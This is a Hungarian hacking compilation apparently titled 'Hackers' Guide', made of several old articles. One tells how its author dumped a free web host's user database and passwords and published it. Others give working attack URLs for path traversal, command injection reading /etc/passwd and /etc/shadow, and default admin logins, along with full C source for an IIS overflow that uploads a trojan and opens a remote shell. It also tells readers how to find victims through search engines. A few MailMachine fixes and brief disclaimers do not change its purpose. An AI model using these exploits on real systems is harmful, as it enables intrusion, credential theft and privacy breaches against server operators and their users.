lévõ biztonsági résekre...;))

Maark ************************************************************************************************ Emil.alarmix.org hack (by MaD_MinD)

258

Hackers’ Guide

A cikkben leírtak már nem működő eljárások, az alarmix ezt a lehetőséget megszűntette freeszerverén. Kizárólag oktatási célzatból van kinn a hálón ez a cikk. Itt le fogom írni, hogy kell bárkinek a lapját átírni, bárkinek a jelszavát megtudni, aki az emil.alarmix.org -on van. Továbbá azt is, hogy hogy lehet leszedni az egész user adatbázist, hogy ki hol lakik, mi a jelszava, email címe, satöbbi, satöbbi. De nem csak ennyi a dolog, egyből le is szedhetitek az egész user adatbázist, ami nem túl szép, mert egymás hegyén hátán van minden, de meg lehet tudni belőle lazán bárkinek az adatait amit megadott, a jelszavával egyetemben. Mi az az emil.alarmix.org? Freewebnek hívják röviden. Szinte dettó mint extra.hu vagy swi.hu. CGI futtatás nincs, PHP futtatás van, kábé 25 megát kapsz ahova teheted a weblapodat, régebben úgy emlékszem 50 mega volt ez a tárhely. Eléggé népszerű volt sok ideig MP3 tárolási szempontból, meg jópár ember választotta magának ezt az ingyenes webszolgáltatást nyújtó helyet. "Egyáltalán hogy keveredtél te oda?" B***** volt olyan kedves, szólt annak idején, hogy a "K******"-jére adott accot. A k*** php-s bázisa az emil.alarmix.org-on (ezentúl EAO-nak rövidítve) volt. Persze lenyúltam mindenkinek a jelszavát ami a kis rendszerén belül volt, de ebben nem volt semmi extra, ez csak egy baráti gesztus volt, IRC-n jót röhögtünk :) Csak annyiról szólt a dolog, hogy rosszul voltak a php-s jogok beállítva a szerveren, bárki bárkinek túrkálhatott a könyvtárában, olvashatott, és ha www-datára volt jog, írhatott is. Ez persze általában így van a nagy ingyenes szervereken, de a PHP-t ellenben a CGI scriptekkel lehet konfigurálni, hogy ilyen ne történhessen meg. Naszóval gondoltam megnézem úgy általában az egész szervert, végülis itt is van jópár embernek accja, "megnézzük mit tehetünk". A "hack" menete Direkt tettem idézőjelbe, igazából nem hinném hogy ez túl nagy hack, olyan szempontból az, hogy megvan az összes név meg jelszó, de nem dolgoztam vele eleget, megálltam itt, nem használtam ki programhibát, egyszerűen szarul van konfigurálva az EAO, ezért sikerülhetett ami sikerült. Viszont ez utóbbi meg eléggé használható eredmény, mondhatni a cél szentesíti az eszközt. Tehát menjünk csak végig. Ugyebár van a szerver amin regisztrálni lehet. Ez az emil.alarmix.org . Általában úgy szokott lenni, hogy más domainről mennek a felhasználók privát lapjai, pl lehetett volna akár ingyenweb.alarmix.org is. Ez esetben azt kellett volna tenni, hogy megnézzük mindkét domain-nek az IP címét, hogy egyeznek -e, de itt erre nem volt szükség, mert a felhasználók oldalai is emil.alarmix.org -ról érhetőek el. Nos, a következő lépés az volt, hogy megnézzük, hogy hogy is megy a belépés a szerverre a felhasználóknak, webfelületen. Mert nyilván az a program ami belépteti őket, hozzáfér valamilyen adatbázishoz, amiben benne vannak a jelszavak, meg a nevek.

259

Hackers’ Guide

Ha megnézzük a főoldalon a beléptető lap forrását, találunk benne egy ilyen részletet: <form action="http://emil.alarmix.org/cgi-bin/emil2/htmlos.cgi/099.1.0128444851" method="POST"> Tehát mint látjuk, a nevet és a jelszót amit beírunk a böngészőben, egy bizonyos htmlos.cgi kezeli. Tehát mindössze annyit kell tennünk, hogy írunk egy php scriptet, amivel szaladgálhatunk jobbra-balra a szerveren, ha már ilyen SZARUL van beállítva. És voila elérkezünk a /usr/lib/cgi-bin/emil2 könyvtárba (feltételeztük, hogy mint általában a linyusszokon, itt is a /usr/lib/cgi-bin/ -re mutat az apache configban a /cgi-bin/ aliasa), látjuk hogy ott a htmlos.cgi. Persze egyből megnézzük, hogy mi van benne. Bármi is az, úgy kezdődik, hogy ELF. Ez olyasmi mint az ALF, az átmenetileg egy amerikai családnál elhelyezkedő csereufó, melyből képregényt valamint sorozatot (és még ki tudja mi mást - kulcstartót, zabpelyhet, rajzfilmet) csináltak annak idején, mindössze annyi különbséggel, hogy ez egy lefordított program, ami Linux alatt fut, minden bizonnyal c-ben írták. A sok kriksz kraksztól picit elcsüggedhetünk - először, főleg ha nem találunk semmi érdekeset a forrásában. Viszont látjuk hogy nyert ügyünk van, mert ha megnézzük (szintén PHP segítségével), hogy mik a jogosultságok a programon, láthatjuk, hogy semmi különös, semmi suexec nincs a szerveren, tehát bárhogyan is működik, azt utána tudjuk csinálni. Tehát. Most már csak annyi van, hogy körülnézzünk az EAO-n, hátha találunk valami érdekeset. Tehát, folytatjuk utunkat - elkezdünk turkálni a szerveren, benézünk az érdekes nevű könyvtárakba, mi más, mint PHP segítségével. Ha már ennyit beszéltem erről, akkor itt van egy példa, hogy a php hogy működhet: $dir = $argv[0]; $handle=opendir($dir); echo "Directory name: $dir<p>"; echo "Directory handle: $handle<br>"; echo "Files:<br>"; while ($file = readdir($handle)) { echo "DIR -> <a href='http://emil.alarmix.org/akarmi/listazo.php3?$dir/$file'>"; echo "$file</a>$file<br>"; } closedir($handle); Most hogy már tudod, hogy hogy néz ki egy ilyen php, nézzünk el ide - oda az EAO-n. Mi is lenne logikus? Hát mondjuk nézzünk be még milyen progik vannak a cgi-bin alatt, mert valószínűsíthető, hogy ha nem mysql-t használnak, akkor az adatbázis file úgyis ott lesz (márpedig nem mysql-ben tárolják pechjükre a felhasználók adatait!). Ott van az emil2 könyvtár is. Ott is logikus lenne hogy találjunk valamit, elvégre a beléptető CGI is ott volt. Nézzük csak..... újra pár könyvtárnévvel találjuk magunkat szembe. "private"? jól hangzik. Nézzük meg. apps? nem hangzik jól, majd egyszer megnézzük. hm. van egy emil könyvtár. nicsak. hát menjünk bele. emil-ben még egy emil. hát nézzük meg azt is hátha húsvéti ajándék. néééééééémá, egy "datafiles" könyvtár. hát mik vannak! tényleg húsvéti ajándék lehet. A következő, amin jogosan megakadhat a szemünk, az egy emil.db nevű file. Hát adjunk neki, nézzük meg. Mivel, mivel? hát PHP-val, butus! hogy milyen php? Itt a példa, ismét. $quotefile = $argv[0]; $tf = @fopen("$quotefile", "r"); WHILE (!feof($tf)): $sor = chop(fgets($tf,5000));

260

Hackers’ Guide

print "$sor"; print chr(13); print chr(10); ENDWHILE; @fclose($quotefile); Tehát beadjuk neki az útvonalat, hátha nyerünk: http://emil.alarmix.org/akarmi/kukkol.php3?/usr/lib/cgi-bin/emil2/private/apps/emil/emil/datafiles/emil.db

Mik nem vannak! valami sok sok név meg mindenféle hülye szavak, meg emailcímek össze-vissza. És már jön jó ideje. Vajk' ez mi lehet? ;-) Persze ilyenkor már sejthetjük hogy nyert ügyünk van, főleg ha az előbb beregisztrált felhasználói nevünkre rákeresünk benne, és mellette ott látjuk a jelszót. Akkor már valamit sejthetünk. Magyarul, megvan az összes felhasználói név meg jelszó a szerverről. És még csak hackelni se kellett, mert hát hackerek azok nem vagyunk, különben nem írnánk cikkeket, meg senki se tudná rólunk hogy egyáltalán van számítógépünk, az igazságért harcolnánk és az ingyen chips-ért, és még sorolhatnám, a lényeg hogy bárkinek a lapját így már át tudjuk írni, csak kikeressük a kapott file-ban az adott felhasználónevet, és mellette lesz láthatóan a jelszó, még ha sok mást is látunk mellette. Ezennel nem hagyok más választást az EAO-nak, minthogy javítsa fel a rendszerét, pofozza át, vegyen fel olyan embereket akik értenek legalább egy picit a biztonsághoz, mert ez eléggé gyatra munka volt - máshogy mondva, közzéteszem az összes felhasználó összes adatát, amihez persze harmadik személy áááááá nem férhet hozzá, kivéve ha jönnek ilyen gonosz emberek mint én, és elkezdenek "szemétkedni". Szóval itt van mindenkinek a jelszava, fogyasszátok egészséggel: data.txt (a mérete kb. fél mega: 560875 byte) Ez a cikk az Internetland-ről származik Copyright by MaD MiND ************************************************************************************************ A /wwwadmin.pl Exploitról

Exploit leírása:

No, találtam megint egy rula exploitot... Szóval a webszerverek legtöbbjén van egy wwwadmin.pl ugybár linuxos cgi melynek segítségével egy másik gépen keresztül adminisztrálhatjuk a honlapot, a www-t. A legtöbb webszerveren ott van és müködik

261

Hackers’ Guide

is a dolog, persze ez attól is függ, hogy mennyire láma a rendszergizda. Tehát gépeljük be böngészõnbe, hogy:

http://azaldozathostja/cgi-bin/wwwadmin.pl

Erre ha minden igaz, bejön egy oldal, ahol be kell ütni a felhasználónevet és a jelszót. Naszóval ez nagyon egyszerû, "gyárilag" be van állítva mindenhol egy Acc./Passwd, ami a következõ:

Felhasználónév: WebAdmin Felhasználónév: WebBoard

Hogy lehet ellene védekezni?

Több védekezési módszerünk lehet. Az egyik, hogy letöröljük a wwwadmin.pl-t a szerverrõl :-) Ez a legegyszerûbb... A második, hogy csak egy bizonyos Hostnak engedjük meg a hozzáférést a fájlhoz, mint például az itteni helyi ISP-nél... persze ezen kívül ott még vagy negyedezer müködõ exploit is elsüthetõ :-). Ennyi... Ja, meg persze hogy megváltoztatjuk a kódot, bár utána is valami speckó kódtörövel (webcracker) fel lehet törni...

Hasznosítási ötletek

Szóval az egyik az, hogy próbálj rákeresni AltaVista-n a url:/cgi-bin/wwwadmin.pl-re... A másik hogy szerezz be mindenekelõtt egy használható "CGI Vulnerability Scanner"-t, mondjuk én tudom ajánlani csak CGI exploit szkennernek a VoidEye-t, de elég jó a Nessus is, bár az nem csak CGI exploit szkenner.

Forrás:

Az itt leírt exploitot a Hack.Co.Za-n olvastam! Kérem, ha van idõd, látogasd meg õket ;-) ************************************************************************************************ Account Manager Password Exploit (amadmin.pl) Script megnevezése: Account Manager Pro/Lite Hibás típusok: Az összes Lite, Pro változatoknál Script letölthetõ: http://www.cgiscriptcenter.com/

A probléma leírása A hibás hozzáférésnek köszönhetõen egy távoli hozzáféréssel elérhetünk egy adminisztrációs vezérlõ panelt és itt megváltoztathatjuk az adminisztrátor jelszóját

262

Hackers’ Guide

egy kis trükk felhasználásával. Egy hivatkozás megnyitásának köszönhetõen egy POST parancssal a script megengedi a jelszó módosítást. A hivatkozás az alábbi: www.server.com/cgibin/amadmin.pl?setpasswd

A problémára megoldást még nem találtak és ha jól tudom még nincs is hozzá (2001. 02. 20.) de remélem hogy senki sem deface-re, mint inkább patchek készítésére fogja felhasználni tudását...

Nestan [FCF] mailto: [email protected]

·

Külön köszönet a segítségért az alábbiaknak: Formater, RSC

Az eredeti cikk a Hack.Co.Za ideiglenes szerverérõl származik. Az eredeti cikket angol nyelven n3O írta. Kérlek, ha ráérsz látogasd meg oldalát a www.alldas.de

címen! Köszönöm. ************************************************************************************************ Apexec.pl Bug

A múltkoriban Dominis cikkében szereplő unstorekeeper.pl -hez hasonló "elven" müködő bug leírására lettem figyelmes talán éppen a packetstorm-on vagy a dejanews-on. A lényege az egésznek hasonló, a bug segítségével fel-alá utazhatunk az adott szerveren és nézhetjük meg a fájlok tartalmát , főleg azokat, amihez az op.rendszer httpd (httpd, wwwrun, wwwuser, stb. ez disztribtől függ, de imho lényegtelen jelen esetben) démonjának joga van.

Használata nagyon, egyszerű, az alábbi URL megadásával tekinthetjük meg az áldozat gépének tartalmát:

http://www.target.com/cgi-bin/apexec.pl?etype=odp&template=../../../../ ../../../../../etc/resolv.conf%00.html&passurl=/category/

Remélem látható, hogy hol kell megadni az elérési utat... persze ez attól is függ, hogy hol található a cgi-bin könyvtár illetve a keresett fájl... Sok sikert jó probálkozást! Miután megtaláltátok a hibás szervert értesítsétek az üzemeltető rendszergazdát egy e-mailen keresztül...

263

Hackers’ Guide

Nestan [FCF] E-mail: [email protected] IRCNet: nestan , [n3sT4n]

Ui.: Tényleg kérem, hogy ne éljetek vissza ilyen dolgokkal, csak magatokat és másokat sodortok vele problémába. Nem éri meg... ************************************************************************************************ Campas exploit

Az exploit lényege az, és ugyebár, nem ez az utolsó?!, hogy egy telnetes parancs leadásával visszakaphatod a szerveren lévõ fájlok tartalmát, persze ehhez egy acc. kell arra a bizonyos szerverre vagy anonymous (guest) hozzáférés.

Szóval simán betelnetelsz az illetékes szerverre (rákerestem az AltaVista.Com-on a url:/cgi-bin/campas illetve url:campas -ra is, de sajnos csak egyetlen egy találat volt, valamilyen német egyetem... mind1), tehát:

telnet www.xxxx.net 80

Trying 200.xx.xx.xx... Connected to venus.xxxx.net Escape character is '^]'.

GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a root:x:0:1:Super-User:/export/home/root:/sbin/sh. daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: smtp:x:0:0:Mail Daemon User:/:/bin/false Tehát ennyi az egész ;-) Ha a passwd fájl shadowolt, akkor próbáljuk meg leadni a: GET /cgi-bin/campas?%0acat%0a/etc/shadow%0a Parancsokat... nekem bejött. Persze ne deface-re használjuk ezeket a dolgokat...

Nestan [FCF] mailto: [email protected]

·

Külön köszönet a segítségért az alábbiaknak: Formater, RSC

264

Hackers’ Guide

************************************************************************************************ Carbo.dll exploit A böngészõben egy URL beírásával, ha szerencséd van, megtekinthedet az áldozat win.ini fájlját Windows NT-s gépen... Sajnos, ha a rendszergazdi valamivel értelmesebb és a patchek, service pack-ok megszállotja, akkor felesleges is próbálkozni :-( Tehát az URL: http://www.aldozathost.com/carbo.dll?icatcommand=..\..\winnt\win.ini&catalogname=catalog

Nestan [FCF] mailto:[email protected]

·

Külön köszönet a segítségért az alábbiaknak: Formater, RSC ************************************************************************************************ Exploit a Microsoft IIS-hez Bevezetõ Biztos vagyok benne hogy már sokan találkoztatok olyan oldallal, amin a fentebb említett webszerver pörgött ezerrel. Pontosabban nem is webszerver, mert tudtommal van FTP és Gopher része is. Éppen a napokban találtam egy windows alatt futtatható kicsi programot amivel egy exploitot kijátszva fel tudsz tölteni egy trojai programot. Itt szeretném megemlíteni, hogy van ugyebár linuxos .c forrása is, én ezt használom, úgyhogy a cikk fõleg erre fog épülni.

265

Hackers’ Guide

A Linuxos C forrás

#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <stdlib.h> #include <arpa/inet.h> #define egglen 1157 #define urloff 1055 unsigned char egg[] = { 71, 69, 84, 32, 47, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,

266

Hackers’ Guide

65, 65, 65, 176, 135, 103, 104, 176, 135, 103, 104, 144, 144, 144, 144, 88, 88, 144, 51, 192, 80, 91, 83, 89, 139, 222, 102, 184, 33, 2, 3, 216, 50, 192, 215, 44, 33, 136, 3, 75, 60, 222, 117, 244, 67, 67, 186, 208, 16, 103, 104, 82, 81, 83, 255, 18, 139, 240, 139, 249, 252, 89, 177, 6, 144, 90, 67, 50, 192, 215, 80, 88, 132, 192, 80, 88, 117, 244, 67, 82, 81, 83, 86, 178, 84, 255, 18, 171, 89, 90, 226, 230, 67, 50, 192, 215, 80, 88, 132, 192, 80, 88, 117, 244, 67, 82, 83, 255, 18, 139, 240, 90, 51, 201, 80, 88, 177, 5, 67, 50, 192, 215, 80, 88, 132, 192, 80, 88, 117, 244, 67, 82, 81, 83, 86, 178, 84, 255, 18, 171, 89, 90, 226, 230, 51, 192, 80, 64, 80, 64, 80, 255, 87, 244, 137, 71, 204, 51, 192, 80, 80, 176, 2, 102, 171, 88, 180, 80, 102, 171, 88, 171, 171, 171, 177, 33, 144, 102, 131, 195, 22, 139, 243, 67, 50, 192, 215, 58, 200, 117, 248, 50, 192, 136, 3, 86, 255, 87, 236, 144, 102, 131, 239, 16, 146, 139, 82, 12, 139, 18, 139, 18, 146, 139, 215, 137, 66, 4, 82, 106, 16, 82, 255, 119, 204, 255, 87, 248, 90, 102, 131, 238, 8, 86, 67, 139, 243, 252, 172, 132, 192, 117, 251, 65, 78, 199, 6, 141, 138, 141, 138, 129, 54, 128, 128, 128, 128, 51, 192, 80, 80, 106, 72, 83, 255, 119, 204, 255, 87, 240, 88, 91, 139, 208, 102, 184, 255, 15, 80, 82, 80, 82, 255, 87, 232, 139, 240, 88, 144, 144, 144, 144, 80, 83, 255, 87, 212, 139, 232, 51, 192, 90, 82, 80, 82, 86, 255, 119, 204, 255, 87, 236, 128, 252, 255, 116, 15, 80, 86, 85, 255, 87, 216, 128, 252, 255, 116, 4, 133, 192, 117, 223, 85, 255, 87, 220, 51, 192, 64, 80, 83, 255, 87, 228, 144, 144, 144, 144, 255, 108, 102, 115, 111, 102, 109, 84, 83, 33, 128, 141, 132, 147, 134, 130, 149, 33, 128, 141, 152, 147, 138, 149, 134, 33, 128, 141, 132, 141, 144, 148, 134, 33, 128, 141, 144, 145, 134, 143, 33, 120, 138, 143, 102, 153, 134, 132, 33, 104, 141, 144, 131, 130, 141, 98, 141, 141, 144, 132, 33, 120, 116, 112, 100, 108, 84, 83, 33, 147, 134, 132, 151, 33, 148, 134, 143, 133, 33, 148, 144, 132, 140, 134, 149, 33, 132, 144, 143, 143, 134, 132, 149, 33, 136, 134, 149, 137, 144, 148, 149, 131, 154, 143, 130, 142, 134, 33, 144, 152, 143, 79, 134, 153, 134, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 46, 104, 116, 114, 32, 72, 84, 84, 80, 47, 49, 46, 48, 13, 10, 13, 10, 10 }; u_int32_t resolve(char *host) { struct hostent *he; long n = inet_addr(host); if(n!=-1) return(n); he = gethostbyname(host); if(!he) { herror("gethostbyname"); return(0); } memcpy(&n, he->h_addr, 4);

267

Hackers’ Guide

return(*(long *)he->h_addr_list[0]); } int main(int argc, char **argv) { char *server; int port; char *url; int fd; struct sockaddr_in s_in; int i=0,x,j=0; int first=0; if(argc != 4) { fprintf(stderr, "usage: %s <server> <port> <trojan>\n", argv[0]); exit(1); } server = argv[1]; port = atoi(argv[2]); url = argv[3]; if(strlen(url) > 85) { fprintf(stderr, "Trojan name must be less than 85 characters.\n"); exit(1); } for(x=0;x<strlen(url);x++) { if(url[x] == '/' && !first) { first=1; egg[urloff+j]='!'+0x21; egg[urloff+j+1]='G'+0x21; egg[urloff+j+2]='E'+0x21; egg[urloff+j+3]='T'+0x21; egg[urloff+j+4]=' '+0x21; egg[urloff+j+5]='/'+0x21; j+=6; continue; } egg[urloff+j] += url[x]; j++; } fd = socket(AF_INET, SOCK_STREAM, 0); s_in.sin_family = AF_INET; s_in.sin_port = htons(port); s_in.sin_addr.s_addr = resolve(server); connect(fd, (struct sockaddr *)&s_in, sizeof(struct sockaddr_in)); while(i!=egglen) { x=send(fd, egg+i, egglen-i, 0);

268

Hackers’ Guide

if(x<0) { fprintf(stderr, "Connection to target lost. WTF?\n"); exit(1); } i+=x; } printf("Trojan uploaded successfully (I think...)\n"); return(0); } /* EuroHack Team [2000] http://hackers.hungary.nu */

Használati útmutató

A programnak, mint ahogy azt már fentebb említettem, van linuxos és windowsos változata is. A linuxos egy .c forrás, amit feljebb láthattatok, a dosos pedig egy .asm forrás. A linuxost "cc -o iishack iishack.c" parancsal fordíthatjátok le, a windowsost pedig a "tasm32 -ml iishack.asmmajd atlink32 -Tpe -c -x iishack.obj ,,, import32" parancsok segítségével. Ha ez megtörtént akkor az alábbi módon tudsz exploitokat feltölteni az áldozat gépére:

./iishack <server> <port> <trojai>

Például:

./iishack www.aldozathostja.hu 80 www.encimemaholatrojaivan.com/exploit.exe

Ajánlat

Az ajánlott trojai progi a mûvelet végrehajtásához az NCX.EXE vagy az NCX99.EXE legyen. Ez a Netcat hackelt változata... Miután az iishack egy verem túlcsordulás után feljuttatta és elindította, a progi az iishack-nél beállított portot megnyitja és egy shellhez juttat a szerveren.

Ötlet:

http://ww.eEye.Com/

Letölthetõ források, programok:

-NCX.EXE -NCX99.EXE -IISHACK.C -IISHACK.ASM ************************************************************************************************

269

Hackers’ Guide

HTML kód, ami leöli az IE 5-öt Ez a cikk fordítás, a neworder.box.sk-ról származik. Egy DoS támadás az Internet Explorer ellen, melyre rájöttek. Ez a sebezhetoség engedi az embereknek, hogy elküldjék a célnak (Outlookkal vagy amikor megnéznek egy rosszindulatú oldalt, stb.) a HTML kódot, ami azt okozza, hogy az Internet Explorer nem válaszol. Ezzel ténylegesen létrehoz egy DoS támadást. Hadd lássam már az iecrash.htm.txt-et!

Scalpal ************************************************************************************************ MailMachine.cgi bug

Mi a MailMachine.cgi? A MailMachine egy perl CGI script amit Mike's World írt (http://www.mikesworld.net). A MailMachine jellemzése: "A Mail Machine egy kiváló címlista script ami megengedi a látogatóknak a weblapodon hogy felíratkozzanak vagy leíratkozzanak a levelező listádra(ról) a te fáradozásod nélkül. Ez egy jó módja hogy informáld a látogatóid a történésekről, és hogy rávedd őket hogy visszatérjenek!" Az oka hogy én ezt írom nem az hogy arra buzdítsam az embereket hogy elrontsák a szerverüket a MailMachine futtatásával - hanem azért hogy az emberek rájöjjenek hogy ez nem egy biztonságos script. Remélhetőleg a szerző majd figyelembe veszi amit elmondtam és csinál valamit vele. Jelenleg milyen hibák vannak? A minap letöltöttem a MailMachine hogy használjam a szerveremen, és miután néhány tesztet lefuttattam rájöttem hogy számos hiba van jelenleg. Itt vannak a problémák amiket megtaláltam, noha több probléma is van: 1) Felíratkozás Amikor az 'igazoló felíratkozás' be van kapcsolva, egyszerű bárki számára hogy kitalálja a hitelesítő url-t ami szükséges hogy hitelesítsék a felíratkozást mint ami a következő formációból kiderül: http://www.domain.com/cgi-bin/mailmachine.cgi?<ide jön az email>

270

Hackers’ Guide

Tehát, egy hacker felírathat bárkit akit akar a listára először az Email címe beírásával és rákattintva a felíratkozásra, és ezután igazolja a jelentkezést egy ?<email> -el a parancsállomány végén.Ez érzékelteti hogy a MailMachine feliratkozás megerősítés opció hasznavehetetlen.

2) Leíratkozás A hasonló tipusú biztonsági hiba jelen van, mégha éppen egy hitelesítés nem is szükséges. A lista egy tagja leírathatja önmagát bármikor ha így cselekszik: http://www.domain.com/cgi-bin/mailmachine.cgi?<ide jön az email> Semmiféle hitelesítést nem fog küldeni, egyszerűen megkapja a levelet azt mondván hogy leíratkozott. Tehát, egy hacker leírathat bárkit a listáról ha elmegy arra a címre. Ez ténylegesen azt jelenti hogy bárki bárkit leírathat.

3) Jogosultságok "Email.txt" és "Temp.txt" tartalmazza a felíratkozottak emailjeit és a már hitelesített email címeket. Alapértelmezettként bárki olvashatja az "email.txt" és "temp.txt" fájlokat.Egy hacker hozzáférhet az "email.txt" fájlhoz és leírathat mindenkit a listáról a fentebb említett technikával.

4) Bannolt címek A lista tulaja megengedi hogy megadjunk néhány bannolt címet, azonban, ezek a bannolt címek nagy- kisbetű megkülönböztetésűek. Tehát, ha bannolok egy címet: [email protected] Ez az email cím mégis egyszerűen felíratható a listára a cím felíratásával: [email protected] (vedd észre a nagy 'T' betűt) Ez igazán megnehezíti és dühítheti egy levelező lista adminját hogy valóban bannoljon egy címet.

5) Mégtöbb betű probléma A MailMachine elvégez egy ellenőrzést hogy lássa hogy valaki megpróbálta-e már felíratni magát. A kis- nagybetű megkülönböztetés szintén benne van a címfelíratkozásban. Ezért, az ellenőrzés amit a mailmachine végez el hogy lássa a cím már felvan-e íratva értelmetlen - még ellenőrizve is, ha [email protected] már regisztrált - a [email protected] engedélyezett.

6) Komoly problémák a www.hotmail.com -al Amikor az igazoló emailt elküldték, a cím amire a címzettnek rá kell klikkelnie így fog kinézni: http://www.domain.com/cgi-bin/mailmachine.cgi?<ide az email>

271

Hackers’ Guide

A linkre kattintva elküldené az illetőnek a képernyőre amivel igazolni fogja a felíratkozását...azonban, ha az email egy hotmail fiókba lett elküldve, ez nem fog megtörténni. A Hotmail nem olvassa a '?' mint a link aktuális részét, és emiatt kivág mindent a ? után - tehát a cím címzettje valójában ilyesmit kap: http://www.domain.com/cgi-bin/mailmachine.cgi Ami nem fogja igazolni az ő felíratkozását...ez nehézségeket okoz egy hotmail felhasznak hogy igazolja a levlistre való jelentkezését.

Ajánlott javítások Sok hiba van, de azok könnyen javíthatók.A következőket ajánlom a szerzőnek: 1) Csináljon az igazoló linknek a végére egy egyedülálló kódot, például: E helyett: http://www.domain.com/cgi-bin/mailmachine.cgi?<email> Ezt: http://www.domain.com/cgi-bin/mailmachine.cgi?<email>Qs672n 2) Amikor az ellenőrzés megvan hogy nincs-e egy cím felíratva vagy bannolva - alakítsa át az email címet teljes nagybetűkké. És ekkor nem kellesz a kis- nagybetű megkülönböztetés. 3) Adj hozzá egy funkciót azért hogy az admin küldeni tudjon egy igazolást minden egyes leíratkozás kérelmezőnek. 4) A leveleket html-ben küldd. Így megszabadulsz a '?' hotmail bugtól mint egy <a href> link részeként. 5) Tájékozódj hogy műkszik a chmod vagy hogyan óvd meg az email.txt és temp.txt fájlokat.

Fordította: Thief Hu - mailto: [email protected] Forrás: Black Sun Research Facility (blacksun.box.sk)

************************************************************************************************ QuikStore Shopping Cart Script bug

Script neve: QuikStore Shopping Cart (www.quikstore.com)

272

Hackers’ Guide

Tamadhato verziok: 2.00 2.09.05 2.09.10 3.0 (lehetenek mas verziok is, de azokat nem testeltem.)

A problema hasonlo mint a ustorekeeper nevu cgi-scriptnel, tehat kepes vagy olvasni a fileket (jelszo filet, shadow filet, meg mindent) a tavoli gepen (amin persze fut a fent emlitett cgi-script). Sot ez meg jobb mint a ustorekeeper, mert itt mar a cgi-scriptek forrasat is megtudod tekinteni. Expolitot nem talatam ra, de szerintem nem is kell.

Altavistaval keressetek ra valhogy igy: Url: quikstore.cgi

Es itt a string: http://www.sux.com/cgi-bin/quikstore.cgi?page=../quikstore.cgi%00html&cart_id= )kiwriteli a script forrasat( Tobb stringet nem irok, mert szerintem nagyon nyilvanvalo.

bY: [D]omIni$ [FCF] mailto: [email protected] www.rulezlinux.com ************************************************************************************************ Sambar Server bug

Ez egy jó kis bug, amivel a Sambar serverek lelöhetök... :) Egyébként ez egy jó kis server progy a WinDoze alá, van benne minden, ami kell.(HTTP, FTP, Proxy serverek, stb)

